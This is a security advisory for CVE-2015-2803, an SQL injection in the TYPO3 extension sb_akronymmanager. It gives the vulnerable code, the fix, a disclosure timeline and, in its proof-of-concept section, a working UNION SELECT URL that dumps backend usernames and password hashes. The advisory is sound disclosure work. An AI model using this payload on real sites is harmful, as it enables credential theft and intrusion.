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SQL Injection in TYPO3 Extension Akronymmanager

An SQL injection vulnerability in the TYPO3 extension “Akronymmanager” allows authenticated attackers to inject SQL statements and thereby read data from the TYPO3 database.

Details

  • Product: sb_akronymmanager
  • Affected Versions: <=0.5.0
  • Fixed Versions: 7.0.0
  • Vulnerability Type: SQL Injection
  • Security Risk: medium
  • Vendor URL: http://typo3.org/extensions/repository/view/sb_akronymmanager
  • Vendor Status: fixed version released
  • Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-002
  • Advisory Status: published
  • CVE: CVE-2015-2803
  • CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2803

Introduction

“The Acronym Manager adds special explanatory markup to acronyms, abbreviations and foreign words on the whole site following the requirement to accessible web content.

It provides a backend module to administer a list of words to generate new HTML elements for explanatory markup.”

(from the extension’s documentation)

More Details

Users with the respective privileges can maintain acronyms through the Akronymmanager extension pages in the TYPO3 backend web interface.

In the extension’s file mod1/index.php, an SQL query is generated like follows (line 357 and following):

[...]
$pageID = t3lib_div::_GET("id");
if ($pageID) $where = "uid='$pageID' AND ";
$result = $GLOBALS['TYPO3_DB']->exec_SELECTquery('title,uid', 'pages',
    $where.'hidden="0" AND deleted="0"','sorting');
[...]

The value of the user-supplied HTTP GET parameter ‘id’ is used without sanitizing it before its use in the subsequent SQL statement. Therefore, attackers are able to manipulate the resulting SQL statement and inject their own queries into the statement.

Proof of Concept

When requesting the following URL, the vulnerability is exploited to yield all usernames and hashes from the TYPO3 be_users database:

http://www.example.org/typo3conf/ext/sb_akronymmanager/mod1/index.php?
id=379%27%20UNION%20SELECT%20(SELECT%20group_concat(username,%27:%27,password)
%20FROM%20be_users),2%20--%20

The login credentials are then embedded in the HTML page that is returned:

[...]
  <!-- Section header -->
  <h2>user1:$hash,user2:$hash[...]</h2>
[...]

Workaround

Only give trusted users access to the Akronymmanager extension in the TYPO3 backend.

Fix

Upgrade the extension to version 7.0.0.

Security Risk

An attacker who has access to the backend part of the Akronymmanager extension may send SQL queries to the database. This can be used to read arbitrary tables of the TYPO3 database and may ultimately result in a privilege escalation if the TYPO3 users’ password hashes can be cracked efficiently. Depending on the database configuration, it might also be possible to execute arbitrary commands on the database host. As the attack requires an attacker who already has backend access, the vulnerability is estimated to pose only a medium risk.

Timeline

  • 2015-02-25 Vulnerability identified
  • 2015-03-04 Customer approved disclosure to vendor
  • 2015-03-10 CVE number requested
  • 2015-03-10 Vendor notified
  • 2015-03-26 CVE number requested again
  • 2015-03-31 CVE number assigned (request #2)
  • 2015-03-31 Vendor notified again
  • 2015-03-31 Vendor responded
  • 2015-04-08 Vendor announced fixed version available at the end of April
  • 2015-05-13 Requested update from vendor
  • 2015-05-15 Vendor requests more time
  • 2015-05-21 Requested update from vendor
  • 2015-05-22 Vendor states that upload to extension registry doesn’t work
  • 2015-06-03 Requested update from vendor
  • 2015-06-10 Vendor uploads new version to extension registry
  • 2015-06-15 Advisory published

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